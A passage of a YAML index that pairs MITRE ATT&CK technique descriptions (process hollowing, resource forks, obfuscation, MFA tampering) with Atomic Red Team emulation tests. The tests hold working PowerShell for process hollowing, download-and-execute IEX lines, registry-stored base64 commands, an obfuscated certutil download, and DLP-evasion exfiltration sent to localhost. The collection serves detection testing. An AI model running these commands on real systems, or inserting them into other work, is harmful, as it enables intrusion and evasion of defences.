        Processing hollowing commonly involves spawning an otherwise benign victim process. Consider correlating detections of processes created in a suspended state (ex: through API flags or process’ thread metadata) with other malicious activity such as attempts to modify a process' memory, especially by its parent process, or other abnormal process behavior.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019)

        Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Process: Process Modification'
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_permissions_required:
      - User
      type: attack-pattern
      id: attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4
      created: '2020-01-14T17:21:54.470Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1055/012
        external_id: T1055.012
      - source_name: Nviso Spoof Command Line 2020
        description: 'Daman, R. (2020, February 4). The return of the spoof part 2:
          Command line spoofing. Retrieved November 19, 2021.'
        url: https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/
      - source_name: Elastic Process Injection July 2017
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
      - source_name: Leitch Hollowing
        description: Leitch, J. (n.d.). Process Hollowing. Retrieved November 12,
          2014.
        url: http://www.autosectools.com/process-hollowing.pdf
      - source_name: Mandiant Endpoint Evading 2019
        description: 'Pena, E., Erikson, C. (2019, October 10). Staying Hidden on
          the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.'
        url: https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1055.012
    atomic_tests:
    - name: Process Hollowing using PowerShell
      auto_generated_guid: 562427b4-39ef-4e8c-af88-463a78e70b9c
      description: |
        This test uses PowerShell to create a Hollow from a PE on disk with explorer as the parent.
        Credit to FuzzySecurity (https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Start-Hollow.ps1)
      supported_platforms:
      - windows
      input_arguments:
        hollow_binary_path:
          description: Path of the binary to hollow (executable that will run inside
            the sponsor)
          type: string
          default: C:\Windows\System32\cmd.exe
        parent_process_name:
          description: Name of the parent process
          type: string
          default: explorer
        sponsor_binary_path:
          description: Path of the sponsor binary (executable that will host the binary)
          type: string
          default: C:\Windows\System32\notepad.exe
        spawnto_process_name:
          description: Name of the process to spawn
          type: string
          default: notepad
      executor:
        command: |
          . "$PathToAtomicsFolder\T1055.012\src\Start-Hollow.ps1"
          $ppid=Get-Process #{parent_process_name} | select -expand id
          Start-Hollow -Sponsor "#{sponsor_binary_path}" -Hollow "#{hollow_binary_path}" -ParentPID $ppid -Verbose
        cleanup_command: 'Stop-Process -Name "#{spawnto_process_name}" -ErrorAction
          Ignore

          '
        name: powershell
    - name: RunPE via VBA
      auto_generated_guid: 3ad4a037-1598-4136-837c-4027e4fa319b
      description: 'This module executes notepad.exe from within the WINWORD.EXE process

        '
      supported_platforms:
      - windows
      input_arguments:
        ms_product:
          description: Maldoc application Word
          type: string
          default: Word
      dependency_executor_name: powershell
      dependencies:
      - description: 'Microsoft #{ms_product} must be installed

          '
        prereq_command: |
          try {
            New-Object -COMObject "#{ms_product}.Application" | Out-Null
            $process = "#{ms_product}"; if ( $process -eq "Word") {$process = "winword"}
            Stop-Process -Name $process
            exit 0
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product}
          manually to meet this requirement"

          '
      executor:
        command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\"
          -UseBasicParsing) \nInvoke-MalDoc -macroFile \"PathToAtomicsFolder\\T1055.012\\src\\T1055.012-macrocode.txt\"
          -officeProduct \"#{ms_product}\" -sub \"Exploit\"\n"
        name: powershell
    - name: Process Hollowing in Go using CreateProcessW WinAPI
      auto_generated_guid: c8f98fe1-c89b-4c49-a7e3-d60ee4bc2f5a
      description: |
        Creates a process in a suspended state, executes shellcode to spawn calc.exe in a child process, and then resumes the original process.
        - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocess)
      supported_platforms:
      - windows
      input_arguments:
        hollow_binary_path:
          description: Path of the binary to hollow
          type: string
          default: C:\Windows\System32\werfault.exe
        hollow_process_name:
          description: Name of the process to hollow
          type: string
          default: werfault
      executor:
        name: powershell
        elevation_required: false
        command: '$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcess.exe -program
          "#{hollow_binary_path}" -debug

          '
        cleanup_command: |
          Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
          Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
    - name: Process Hollowing in Go using CreateProcessW and CreatePipe WinAPIs (T1055.012)
      auto_generated_guid: 94903cc5-d462-498a-b919-b1e5ab155fee
      description: |
        Create a process in a suspended state, execute shellcode to spawn calc.exe in a child process, and then resume the original process.
        This test uses the CreatePipe function to create an anonymous pipe that parent and child processes can communicate over. This anonymous pipe
        allows for the retrieval of output generated from executed shellcode.
        - PoC Credit: (https://github.com/Ne0nd0g/go-shellcode#createprocesswithpipe)
      supported_platforms:
      - windows
      input_arguments:
        hollow_binary_path:
          description: Path of the binary to hollow
          type: string
          default: C:\Windows\System32\werfault.exe
        hollow_process_name:
          description: Name of the process to hollow
          type: string
          default: werfault
      executor:
        name: powershell
        elevation_required: false
        command: '$PathToAtomicsFolder\T1055.012\bin\x64\CreateProcessWithPipe.exe
          -program "#{hollow_binary_path}" -debug

          '
        cleanup_command: |-
          Stop-Process -Name CalculatorApp -ErrorAction SilentlyContinue
          Stop-Process -Name "#{hollow_process_name}" -ErrorAction SilentlyContinue
  T1564.009:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Jaron Bradley @jbradley89
      - Ivan Sinyakov
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--b22e5153-ac28-4cc6-865c-2054e36285cb
      created: '2021-10-12T20:02:31.866Z'
      x_mitre_version: '1.0'
      external_references:
      - source_name: mitre-attack
        external_id: T1564.009
        url: https://attack.mitre.org/techniques/T1564/009
      - source_name: tau bundlore erika noerenberg 2020
        url: https://blogs.vmware.com/security/2020/06/tau-threat-analysis-bundlore-macos-mm-install-macos.html
        description: 'Erika Noerenberg. (2020, June 29). TAU Threat Analysis: Bundlore
          (macOS) mm-install-macos. Retrieved October 12, 2021.'
      - source_name: Resource and Data Forks
        url: https://flylib.com/books/en/4.395.1.192/1/
        description: Flylib. (n.d.). Identifying Resource and Data Forks. Retrieved
          October 12, 2021.
      - source_name: ELC Extended Attributes
        url: https://eclecticlight.co/2020/10/24/theres-more-to-files-than-data-extended-attributes/
        description: 'Howard Oakley. (2020, October 24). There''s more to files than
          data: Extended Attributes. Retrieved October 12, 2021.'
      - source_name: sentinellabs resource named fork 2020
        url: https://www.sentinelone.com/labs/resourceful-macos-malware-hides-in-named-fork/
        description: Phil Stokes. (2020, November 5). Resourceful macOS Malware Hides
          in Named Fork. Retrieved October 12, 2021.
      - source_name: macOS Hierarchical File System Overview
        url: http://tenon.com/products/codebuilder/User_Guide/6_File_Systems.html#anchor520553
        description: Tenon. (n.d.). Retrieved October 12, 2021.
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.(Citation: macOS Hierarchical File System Overview) Usage of a resource fork is identifiable when displaying a file’s extended attributes, using <code>ls -l@</code> or <code>xattr -l</code> commands. Resource forks have been deprecated and replaced with the application bundle structure. Non-localized resources are placed at the top level directory of an application bundle, while localized resources are placed in the <code>/Resources</code> folder.(Citation: Resource and Data Forks)(Citation: ELC Extended Attributes)

        Adversaries can use resource forks to hide malicious data that may otherwise be stored directly in files. Adversaries can execute content with an attached resource fork, at a specified offset, that is moved to an executable location then invoked. Resource fork content may also be obfuscated/encrypted until execution.(Citation: sentinellabs resource named fork 2020)(Citation: tau bundlore erika noerenberg 2020)
      modified: '2022-05-24T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Resource Forking
      x_mitre_detection: "Identify files with the <code>com.apple.ResourceFork</code>
        extended attribute and large data amounts stored in resource forks. \n\nMonitor
        command-line activity leveraging the use of resource forks, especially those
        immediately followed by potentially malicious activity such as creating network
        connections. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'File: File Metadata'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Creation'
      x_mitre_defense_bypassed:
      - Notarization
      - Gatekeeper
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1027:
    technique:
      modified: '2024-04-16T12:27:18.945Z'
      name: Obfuscated Files or Information
      description: "Adversaries may attempt to make an executable or file difficult
        to discover or analyze by encrypting, encoding, or otherwise obfuscating its
        contents on the system or in transit. This is common behavior that can be
        used across different platforms and the network to evade defenses. \n\nPayloads
        may be compressed, archived, or encrypted in order to avoid detection. These
        payloads may be used during Initial Access or later to mitigate detection.
        Sometimes a user's action may be required to open and [Deobfuscate/Decode
        Files or Information](https://attack.mitre.org/techniques/T1140) for [User
        Execution](https://attack.mitre.org/techniques/T1204). The user may also be
        required to input a password to open a password protected compressed/encrypted
        file that was provided by the adversary. (Citation: Volexity PowerDuke November
        2016) Adversaries may also use compressed or archived scripts, such as JavaScript.
        \n\nPortions of files can also be encoded to hide the plain-text strings that
        would otherwise help defenders with discovery. (Citation: Linux/Cdorked.A
        We Live Security Analysis) Payloads may also be split into separate, seemingly
        benign files that only reveal malicious functionality when reassembled. (Citation:
        Carbon Black Obfuscation Sept 2016)\n\nAdversaries may also abuse [Command
        Obfuscation](https://attack.mitre.org/techniques/T1027/010) to obscure commands
        executed from payloads or directly via [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).
        Environment variables, aliases, characters, and other platform/language specific
        semantics can be used to evade signature based detections and application
        control mechanisms. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye
        Revoke-Obfuscation July 2017)(Citation: PaloAlto EncodedCommand March 2017) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Red Canary
      - Christiaan Beek, @ChristiaanBeek
      x_mitre_deprecated: false
      x_mitre_detection: "Detection of file obfuscation is difficult unless artifacts
        are left behind by the obfuscation process that are uniquely detectable with
        a signature. If detection of the obfuscation itself is not possible, it may
        be possible to detect the malicious activity that caused the obfuscated file
        (for example, the method that was used to write, read, or modify the file
        on the file system). \n\nFlag and analyze commands containing indicators of
        obfuscation and known suspicious syntax such as uninterpreted escape characters
        like '''^''' and '''\"'''. Windows' Sysmon and Event ID 4688 displays command-line
        arguments for processes. Deobfuscation tools can be used to detect these indicators
        in files/payloads. (Citation: GitHub Revoke-Obfuscation) (Citation: FireEye
        Revoke-Obfuscation July 2017) (Citation: GitHub Office-Crackros Aug 2016)
        \n\nObfuscation used in payloads for Initial Access can be detected at the
        network. Use network intrusion detection systems and email gateway filtering
        to identify compressed and encrypted attachments and scripts. Some email attachment
        detonation systems can open compressed and encrypted attachments. Payloads
        delivered over an encrypted connection from a website require encrypted network
        traffic inspection. \n\nThe first detection of a malicious tool may trigger
        an anti-virus or other security tool alert. Similar events may also occur
        at the boundary through network IDS, email scanning appliance, etc. The initial
        detection should be treated as an indication of a potentially more invasive
        intrusion. The alerting system should be thoroughly investigated beyond that
        initial alert for activity that was not detected. Adversaries may continue
        with an operation, assuming that individual events like an anti-virus detect
        will not be investigated or that an analyst will not be able to conclusively
        link that event to other activity occurring on the network. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.6'
      x_mitre_data_sources:
      - 'WMI: WMI Creation'
      - 'Script: Script Execution'
      - 'File: File Creation'
      - 'Module: Module Load'
      - 'Command: Command Execution'
      - 'File: File Metadata'
      - 'Process: OS API Execution'
      - 'Windows Registry: Windows Registry Key Creation'
      - 'Process: Process Creation'
      x_mitre_defense_bypassed:
      - Host Forensic Analysis
      - Signature-based Detection
      - Host Intrusion Prevention Systems
      - Application Control
      - Log Analysis
      type: attack-pattern
      id: attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a
      created: '2017-05-31T21:30:32.662Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1027
        external_id: T1027
      - source_name: Volexity PowerDuke November 2016
        description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election
          Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January
          11, 2017.'
        url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/
      - source_name: GitHub Revoke-Obfuscation
        description: Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February
          12, 2018.
        url: https://github.com/danielbohannon/Revoke-Obfuscation
      - source_name: FireEye Obfuscation June 2017
        description: 'Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild:
          Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February
          12, 2018.'
        url: https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html
      - source_name: FireEye Revoke-Obfuscation July 2017
        description: 'Bohannon, D. & Holmes, L. (2017, July 27). Revoke-Obfuscation:
          PowerShell Obfuscation Detection Using Science. Retrieved February 12, 2018.'
        url: https://www.fireeye.com/content/dam/fireeye-www/blog/pdfs/revoke-obfuscation-report.pdf
      - source_name: GitHub Office-Crackros Aug 2016
        description: Carr, N. (2016, August 14). OfficeCrackros. Retrieved February
          12, 2018.
        url: https://github.com/itsreallynick/office-crackros
      - source_name: Linux/Cdorked.A We Live Security Analysis
        description: 'Pierre-Marc Bureau. (2013, April 26). Linux/Cdorked.A: New Apache
          backdoor being used in the wild to serve Blackhole. Retrieved September
          10, 2017.'
        url: https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/
      - source_name: Carbon Black Obfuscation Sept 2016
        description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved
          February 12, 2018.
        url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
      - source_name: PaloAlto EncodedCommand March 2017
        description: White, J. (2017, March 10). Pulling Back the Curtains on EncodedCommand
          PowerShell Attacks. Retrieved February 12, 2018.
        url: https://researchcenter.paloaltonetworks.com/2017/03/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1027
    atomic_tests:
    - name: Decode base64 Data into Script
      auto_generated_guid: f45df6be-2e1e-4136-a384-8f18ab3826fb
      description: "Creates a base64-encoded data file and decodes it into an executable
        shell script\n\nUpon successful execution, sh will execute art.sh, which is
        a base64 encoded command, that echoes `Hello from the Atomic Red Team` \nand
        uname -v\n"
      supported_platforms:
      - macos
      - linux
      input_arguments:
        shell_command:
          description: command to encode
          type: string
          default: echo Hello from the Atomic Red Team && uname -v
      dependency_executor_name: sh
      dependencies:
      - description: 'encode the command into base64 file

          '
        prereq_command: 'if [ -e "/tmp/encoded.dat" ]; then exit 0; else exit 1; fi

          '
        get_prereq_command: |
          if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64encode -r -"; else cmd="base64"; fi;
          echo "#{shell_command}" | $cmd > /tmp/encoded.dat
      executor:
        command: |
          if [ "$(uname)" = 'FreeBSD' ]; then cmd="b64decode -r"; else cmd="base64 -d"; fi;
          cat /tmp/encoded.dat | $cmd > /tmp/art.sh
          chmod +x /tmp/art.sh
          /tmp/art.sh
        cleanup_command: "rm /tmp/encoded.dat \nrm /tmp/art.sh\n"
        name: sh
    - name: Execute base64-encoded PowerShell
      auto_generated_guid: a50d5a97-2531-499e-a1de-5544c74432c6
      description: |
        Creates base64-encoded PowerShell code and executes it. This is used by numerous adversaries and malicious tools.

        Upon successful execution, powershell will execute an encoded command and stdout default is "Write-Host "Hey, Atomic!"
      supported_platforms:
      - windows
      input_arguments:
        powershell_command:
          description: PowerShell command to encode
          type: string
          default: Write-Host "Hey, Atomic!"
      executor:
        command: |
          $OriginalCommand = '#{powershell_command}'
          $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
          $EncodedCommand =[Convert]::ToBase64String($Bytes)
          $EncodedCommand
          powershell.exe -EncodedCommand $EncodedCommand
        name: powershell
    - name: Execute base64-encoded PowerShell from Windows Registry
      auto_generated_guid: 450e7218-7915-4be4-8b9b-464a49eafcec
      description: |
        Stores base64-encoded PowerShell code in the Windows Registry and deobfuscates it for execution. This is used by numerous adversaries and malicious tools.

        Upon successful execution, powershell will execute encoded command and read/write from the registry.
      supported_platforms:
      - windows
      input_arguments:
        registry_key_storage:
          description: Windows Registry Key to store code
          type: string
          default: HKCU:Software\Microsoft\Windows\CurrentVersion
        powershell_command:
          description: PowerShell command to encode
          type: string
          default: Write-Host "Hey, Atomic!"
        registry_entry_storage:
          description: Windows Registry entry to store code under key
          type: string
          default: Debug
      executor:
        command: |
          $OriginalCommand = '#{powershell_command}'
          $Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)
          $EncodedCommand =[Convert]::ToBase64String($Bytes)
          $EncodedCommand

          Set-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand
          powershell.exe -Command "IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))"
        cleanup_command: 'Remove-ItemProperty -Force -ErrorAction Ignore -Path #{registry_key_storage}
          -Name #{registry_entry_storage}

          '
        name: powershell
    - name: Execution from Compressed File
      auto_generated_guid: f8c8a909-5f29-49ac-9244-413936ce6d1f
      description: 'Mimic execution of compressed executable. When successfully executed,
        calculator.exe will open.

        '
      supported_platforms:
      - windows
      input_arguments:
        url_path:
          description: url to download Exe
          type: url
          default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/T1027.zip
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1027.exe must exist on disk at PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "#{url_path}" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1027.zip"
          Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\T1027.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\" -Force
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027.zip\T1027.exe"

          '
        cleanup_command: |
          taskkill /f /im calculator.exe >nul 2>nul
          taskkill /f /im CalculatorApp.exe >nul 2>nul
        name: command_prompt
    - name: DLP Evasion via Sensitive Data in VBA Macro over email
      auto_generated_guid: 129edb75-d7b8-42cd-a8ba-1f3db64ec4ad
      description: |
        Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using email.
        Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.
      supported_platforms:
      - windows
      input_arguments:
        input_file:
          description: Path of the XLSM file
          type: path
          default: PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm
        sender:
          description: sender email
          type: string
          default: test@corp.com
        receiver:
          description: receiver email
          type: string
          default: test@corp.com
        smtp_server:
          description: SMTP Server IP Address
          type: string
          default: 127.0.0.1
      executor:
        command: 'Send-MailMessage -From #{sender} -To #{receiver} -Subject ''T1027_Atomic_Test''
          -Attachments "#{input_file}" -SmtpServer #{smtp_server}

          '
        name: powershell
    - name: DLP Evasion via Sensitive Data in VBA Macro over HTTP
      auto_generated_guid: e2d85e66-cb66-4ed7-93b1-833fc56c9319
      description: |
        Upon successful execution, an excel containing VBA Macro containing sensitive data will be sent outside the network using HTTP.
        Sensitive data includes about around 20 odd simulated credit card numbers that passes the LUHN check.
      supported_platforms:
      - windows
      input_arguments:
        input_file:
          description: Path of the XLSM file
          type: path
          default: PathToAtomicsFolder\T1027\src\T1027-cc-macro.xlsm
        ip_address:
          description: Destination IP address
          type: string
          default: 127.0.0.1
      executor:
        command: 'Invoke-WebRequest -Uri #{ip_address} -Method POST -Body "#{input_file}"

          '
        name: powershell
    - name: Obfuscated Command in PowerShell
      auto_generated_guid: 8b3f4ed6-077b-4bdd-891c-2d237f19410f
      description: 'This is an obfuscated PowerShell command which when executed prints
        "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report
        by Red Canary.

        '
      supported_platforms:
      - windows
      executor:
        command: '$cmDwhy =[TyPe]("{0}{1}" -f ''S'',''TrING'')  ;   $pz2Sb0  =[TYpE]("{1}{0}{2}"-f''nv'',''cO'',''ert'')  ;  &("{0}{2}{3}{1}{4}"
          -f''In'',''SiO'',''vOKe-EXp'',''ReS'',''n'') (  (&("{1}{2}{0}"-f''blE'',''gET-'',''vaRIA'')  (''CMdw''+''h''+''y''))."v`ALUe"::("{1}{0}"
          -f''iN'',''jO'').Invoke('''',( (127, 162,151, 164,145 ,55 , 110 ,157 ,163
          , 164 ,40,47, 110 , 145 ,154, 154 ,157 , 54 ,40, 146, 162 , 157,155 ,40,
          120, 157 ,167,145 , 162 ,123,150 ,145 , 154 , 154 , 41,47)| .(''%'') { (
          [CHAR] (  $Pz2sB0::"t`OinT`16"(( [sTring]${_}) ,8)))})) )

          '
        name: powershell
    - name: Obfuscated Command Line using special Unicode characters
      auto_generated_guid: e68b945c-52d0-4dd9-a5e8-d173d70c448f
      description: |
        This is an obfuscated certutil command that when executed downloads a file from the web. Adapted from T1105. Obfuscation includes special options chars (unicode hyphens), character substitution (e.g. ᶠ) and character insertion (including the usage of the right-to-left 0x202E and left-to-right 0x202D override characters).
        Reference:
        https://wietze.github.io/blog/windows-command-line-obfuscation
      supported_platforms:
      - windows
      input_arguments:
        remote_file:
          description: URL of file to download
          type: url
          default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/LICENSE.txt
        local_path:
          description: Local path/filename to save the downloaded file to
          type: path
          default: Atomic-license.txt
      executor:
        steps: |
          1. Copy the following command into the command prompt after replacing #{remote_file} and #{local_path} with your desired URL and filename.


            certutil —ૹu૰rlࢰca࣢c෯he  –‮spli؅t‮‭ −"൏ᶠ൸" #{remote_file} #{local_path}


          2. Press enter to execute the command. You will find the file or webpage you specified saved to the file you specified in the command.
        name: manual
    - name: Snake Malware Encrypted crmlog file
      auto_generated_guid: 7e47ee60-9dd1-4269-9c4f-97953b183268
      description: "The following Atomic Test will create a file with a specific name
        and sets its attributes to Hidden, System, and Archive. This was related to
        the Snake Malware campaign and is later decrypted by Snake's kernel driver.\n[Snake
        Malware - CISA](https://media.defense.gov/2023/May/09/2003218554/-1/-1/0/JOINT_CSA_HUNTING_RU_INTEL_SNAKE_MALWARE_20230509.PDF)
        \ \n"
      supported_platforms:
      - windows
      executor:
        command: '$file = New-Item $env:windir\registration\04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog;
          $file.Attributes = ''Hidden'', ''System'', ''Archive''; Write-Host "File
          created: $($file.FullName)"

          '
        cleanup_command: '$fileNameToDelete = ''04e53197-72be-4dd8-88b1-533fe6eed577.04e53197-72be-4dd8-88b1-533fe6eed577.crmlog'';
          $filePathToDelete = "$env:windir\registration\"; $fullPathToDelete = Join-Path
          $filePathToDelete $fileNameToDelete; if (Test-Path $fullPathToDelete) {
          Remove-Item -Path $fullPathToDelete -Force; Write-Host "File deleted: $fullPathToDelete"
          } else { Write-Host "File not found: $fullPathToDelete" }

          '
        name: powershell
        elevation_required: true
    - name: Execution from Compressed JScript File
      auto_generated_guid: fad04df1-5229-4185-b016-fb6010cd87ac
      description: 'Mimic execution of compressed JavaScript file. When successfully
        executed, calculator.exe will open. This test is meant to help emulate Gootloader
        as per https://redcanary.com/blog/gootloader/

        '
      supported_platforms:
      - windows
      input_arguments:
        url_path:
          description: url to download JScript file
          type: url
          default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1027/bin/t1027js.zip
      dependency_executor_name: powershell
      dependencies:
      - description: 'T1027.js must exist on disk at PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          Invoke-WebRequest "#{url_path}" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\T1027js.zip"
          Expand-Archive -path "PathToAtomicsFolder\..\ExternalPayloads\T1027js.zip" -DestinationPath "PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\" -Force
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\temp_T1027js.zip\T1027js.js"

          '
        cleanup_command: 'taskkill /f /im calculator.exe >nul 2>nul

          '
        name: command_prompt
  T1556.006:
    technique:
      modified: '2024-04-16T00:20:21.488Z'
      name: Multi-Factor Authentication
      description: "Adversaries may disable or modify multi-factor authentication
        (MFA) mechanisms to enable persistent access to compromised accounts.\n\nOnce
        adversaries have gained access to a network by either compromising an account
        lacking MFA or by employing an MFA bypass method such as [Multi-Factor Authentication
        Request Generation](https://attack.mitre.org/techniques/T1621), adversaries
        may leverage their access to modify or completely disable MFA defenses. This
        can be accomplished by abusing legitimate features, such as excluding users
        from Azure AD Conditional Access Policies, registering a new yet vulnerable/adversary-controlled
        MFA method, or by manually patching MFA programs and configuration files to
        bypass expected functionality.(Citation: Mandiant APT42)(Citation: Azure AD
        Conditional Access Exclusions)\n\nFor example, modifying the Windows hosts
        file (`C:\\windows\\system32\\drivers\\etc\\hosts`) to redirect MFA calls
        to localhost instead of an MFA server may cause the MFA process to fail. If
        a \"fail open\" policy is in place, any otherwise successful authentication
        attempt may be granted access without enforcing MFA. (Citation: Russians Exploit
        Default MFA Protocol - CISA March 2022) \n\nDepending on the scope, goals,
        and privileges of the adversary, MFA defenses may be disabled for individual
        accounts or for all accounts tied to a larger group, such as all domain accounts
        in a victim's network environment.(Citation: Russians Exploit Default MFA
        Protocol - CISA March 2022) "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: persistence
      x_mitre_contributors:
      - Liran Ravich, CardinalOps
      - Muhammad Moiz Arshad, @5T34L7H
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Google Workspace
      - Linux
      - macOS
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'Logon Session: Logon Session Creation'
      - 'Application Log: Application Log Content'
      - 'Active Directory: Active Directory Object Modification'
      - 'User Account: User Account Authentication'
      - 'User Account: User Account Modification'
      x_mitre_defense_bypassed:
      - Multi-Factor Authentication
      type: attack-pattern
      id: attack-pattern--b4409cd8-0da9-46e1-a401-a241afd4d1cc
      created: '2022-05-31T19:31:38.431Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1556/006
        external_id: T1556.006
      - source_name: Russians Exploit Default MFA Protocol - CISA March 2022
        description: Cyber Security Infrastructure Agency. (2022, March 15). Russian
          State-Sponsored Cyber Actors Gain Network Access by Exploiting Default Multifactor
